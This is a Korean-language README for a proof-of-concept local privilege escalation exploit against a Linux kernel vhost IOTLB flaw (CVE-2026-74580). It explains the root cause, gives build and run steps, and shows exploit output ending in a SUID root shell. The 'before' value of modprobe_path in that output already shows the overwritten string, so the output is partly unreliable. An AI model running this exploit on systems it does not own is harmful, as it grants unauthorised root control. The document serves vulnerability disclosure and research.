
CVE-2026-74580에 대한 C 개념 증명: 오래된 vhost IOTLB 메타데이터 캐시를 악용하여 modprobe_path를 덮어쓰고 x86-64 Linux 호스트에서 root 권한으로 상승시킵니다.
원본 코드 및 readme 파일 출처: https://github.com/zhangutah/security-research
예상 출력:
./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"
[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920
[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920
[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after: "/tmp/pwn"
[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...
sh-5.3# whoami
root
vq->meta_iotlb[]는 각 vring 메타데이터 영역(desc / avail / used) 뒤에 있는 IOTLB 매핑을 캐시합니다. VHOST_SET_VRING_ADDR와 VHOST_SET_VRING_NUM은 이 캐시를 초기화하지 않습니다. 디바이스 IOTLB가 연결된 상태에서, 활성 vq는 더 이상 해당 영역을 포함하지 않는 매핑을 통해 재구성된 vring을 변환할 수 있습니다. vhost_vq_meta_fetch()에는 범위 검사가 없으며, 그 결과는 __copy_to_user() / __copy_from_user()로 전달됩니다.
동일한 오래된 캐시는 vhost가 디바이스-IOTLB 모드(VIRTIO_F_ACCESS_PLATFORM / vIOMMU)로 실행되고 게스트가 VIRTIO_F_RING_RESET을 통해 virtqueue를 리셋할 때 게스트로부터 접근할 수 있습니다. 해당 경로는 이 PoC의 대상이 아닙니다.
de845981da67poc.c는 /dev/vhost-vsock을 대상으로 하는 호스트 x86-64 PoC입니다. euid=0으로 루트 셸을 엽니다. /tmp/sh를 suid root로 생성합니다. 테스트 후 수동으로 파일을 삭제하세요!
cc -O2 -Wall -Wextra -o poc poc.c
./poc
심볼 조회는 다음 순서로 사용합니다: $SYSTEM_MAP, /boot/System.map-$(uname -r),
/usr/lib/modules/$(uname -r)/build/System.map. modprobe_path는 반드시
존재해야 하며, asm_exc_divide_error는 없을 경우 정적 주소로 대체됩니다.
프로세스는 /dev/vhost-vsock을 열 수 있어야 합니다. 일부 이미지는 해당 노드를
0666으로 제공하지만, 다른 이미지는 0660 root:kvm입니다.
소유한 일회용 테스트 시스템에서만 실행하세요.